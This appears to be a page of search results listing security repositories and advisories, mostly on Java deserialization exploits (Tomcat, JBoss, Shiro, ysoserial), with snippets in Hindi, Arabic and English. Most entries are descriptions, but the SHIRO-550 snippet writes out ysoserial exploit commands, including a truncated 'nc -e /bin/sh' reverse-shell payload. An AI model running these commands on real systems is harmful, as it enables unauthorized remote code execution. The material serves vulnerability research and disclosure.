CVE-2015-6420

CVE-2015-6420 डिसीरियलाइज़ेशन भेद्यता संदर्भ Java डिसीरियलाइज़ेशन भेद्यता - CC एक्सप्लॉइट श्रृंखला विश्लेषण...

CVE-2025-24813

CVE-2025-24813 Tomcat PoC PoC एक अधिकृत CTF/लैब वातावरण के लिए है। यह CVE-2025-24813 का शोषण Tomcat सत्र फ़ाइल के आंशिक PUT लेखन के माध्यम से करता है, फिर JSESSIONID के साथ डिसीरियलाइज़ेशन ट्रिगर करता है। पूर्वापेक्षाएँ Python 3 Python मॉड्यूल requests Java JDK java और javac इस फ़ोल्डर में रखी गई...

BurpSuite-collections

Burp-Suite-collections BurpSuite Related Collection Project, plugins mainly from non-BApp Store App Store All localization or use of BurpSuite is based on the premise that you have configured the Java environment!!! Related Tutorial Latest version after December 2022 For activation refer to...

Jboss_JMXInvokerServlet_Deserialization_RCE

JbossJMXInvokerServletDeserializationRCE Burp Suite का उपयोग करके Java डिसेरिएलाइज़ेशन भेद्यता का शोषण 0x01 Jboss JMXInvokerServlet डिसेरिएलाइज़ेशन भेद्यता स्थापित करना परीक्षण वातावरण: JBoss JMXInvokerServlet डिसेरिएलाइज़ेशन भेद्यता भेद्यता सिद्धांत: JBoss /invoker/JMXInvokerServlet अनुरोध में...

CVE-2020-9484

CVE-2020-9484 Kali 2.0 का उपयोग करके Apache Tomcat Session Deserialization कोड निष्पादन भेद्यता CVE-2020-9484 को पुन: प्रस्तुत करें पर्यावरण: 1. Kali 2.0 2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz webapp s2-053 है, इसकी lib में commons-collections4-4.0.jar जोड़ा गया प्रारंभ करें...

attack-stix-data

بيانات ATT&CK® STIX MITRE ATT&CK هي قاعدة معرفة عالمية الوصول لتكتيكات وتقنيات الخصوم بناءً على ملاحظات من العالم الحقيقي. تُستخدم قاعدة معرفة ATT&CK كأساس لتطوير نماذج ومنهجيات تهديد محددة في القطاع الخاص، وفي الحكومة، وفي مجتمع منتجات وخدمات الأمن السيبراني. يحتوي هذا المستودع على مجموعة بيانات...

CVE-2025-24813

CVE-2025-24813 विवरण यह रिपॉजिटरी साइबर सुरक्षा खतरे के अनुकरण अभ्यास के लिए Windows Server 2019 Standard पर java 25.0.1 2025-10-21 LTS के साथ Tomcat v9.0.90 को त्वरित तैनाती हेतु स्पष्ट निर्देश प्रदान करने का लक्ष्य रखती है। exploit.py ysoserial-all.jar में CommonsCollections6 मॉड्यूल का उपयोग...

ysoserial

ysoserial यह असुरक्षित Java ऑब्जेक्ट डिसीरियलाइज़ेशन का फ़ायदा उठाने वाले पेलोड उत्पन्न करने के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट टूल है। विवरण इसे मूल रूप से AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" के हिस्से के रूप में रिलीज़ किया गया था, जिसमें Apache...

Red Hat JBoss - Insecure Deserialization

Red Hat JBoss Application Server 4.x, 5.x, 6.x contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apach...

One-Liner-Collections

مجموعة الأوامر المفردة يحتوي هذا المستودع على قائمة بالأوامر المفردة مع الأوصاف ومتطلبات التثبيت. ──────────────────────────────────────────────────────────────────────── حقن SQL متطلبات التثبيت 1. Subfinder : https://github.com/projectdiscovery/subfinder 2. GAU : https://github.com/lc/gau 3. GF ...

SHIRO-550

Shiro RememberMe 1.2.4 डिसीरियलाइज़ेशन भेद्यता（SHIRO-550） commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh...

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 Java असुरक्षित डिसीरियलाइज़ेशन लैब बुनियादी Java REST एप्लिकेशन जो असुरक्षित डिसीरियलाइज़ेशन के प्रति संवेदनशील है, जिससे RCE होता है। प्रोजेक्ट को Java 8u45 पर चलाया जाना चाहिए निम्नलिखित निर्भरताओं के साथ Maven पर आधारित: jackson-databind 2.2.2 commons-collections 3.1...

CVE-2024-58290-Xhibiter-SQLi

CVE-2024-58290-Xhibiter-SQLi إثبات المفهوم PoC لثغرة حقن SQL في سوق Xhibiter NFT للإصدار 1.10.2 نقطة نهاية Collections. تم اكتشافها بواسطة Sohel Yousef. CVE-2024-58290: حقن SQL في سوق Xhibiter NFT عنوان الاستغلال: Xhibiter NFT Marketplace 1.10.2 - حقن SQL بدون مصادقة التاريخ: 2024-12-11 مؤلف...

CVE-2023-43208

CVE-2023-43208 — ثغرة تنفيذ أوامر عن بعد في Mirth Connect أداة إثبات المفهوم لثغرة CVE-2023-43208 ، وهي ثغرة تنفيذ أوامر عن بعد غير مصادق عليها في Mirth Connect الإصدارات التي تسبق 4.4.1. الوصف Mirth Connect هو محرك تكامل رعاية صحية مفتوح المصدر واسع الانتشار. تستغل هذه الثغرة خلل إلغاء التسلسل ف...

cve-2026-47777

CVE-2026-47777 — Mastodon फ़ीचर्ड कलेक्शन प्राधिकरण बाईपास अवलोकन मैंने एक उच्च गंभीरता प्राधिकरण बाईपास भेद्यता की जिम्मेदारी से खुलासा किया जो Mastodon के प्रयोगात्मक फ़ीचर्ड कलेक्शन संघीय पाइपलाइन को प्रभावित करती है। CVE ID: CVE-2026-47777 प्रभावित घटक ActivityPub::VerifyFeaturedItemService...

Linux Distros Unpatched Vulnerability : CVE-2026-18698

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - An issue in MongoDB Server could allow an authenticated user with a limited database-scoped role to perform an action against protected system collections that...

Astra Linux – Vulnerability in snakeyaml

The package org.yaml:snakeyaml in versions 0 and earlier than 1.31 is vulnerable to Denial of Service DoS attacks due to a missing nested depth limitation in collections...

Wagtail: Improper restriction handling on Documents and Images chosen endpoints

Impact The Documents and Images chooser's chosen endpoint incorrectly listed items for which the user has not been granted choose permission. A user with access to the Wagtail admin could see the filename and name and URLs of documents and images in those collections. The vulnerability is not...

Linux Distros Unpatched Vulnerability : CVE-2026-18690

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - An issue in MongoDB Server could allow an authenticated user with a limited database-scoped role to perform an action against protected system collections that...

Linux Distros Unpatched Vulnerability : CVE-2026-18693

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - An issue in MongoDB Server's handling of timeseries collections could allow an authenticated user with write privileges to cause an internal data structure to...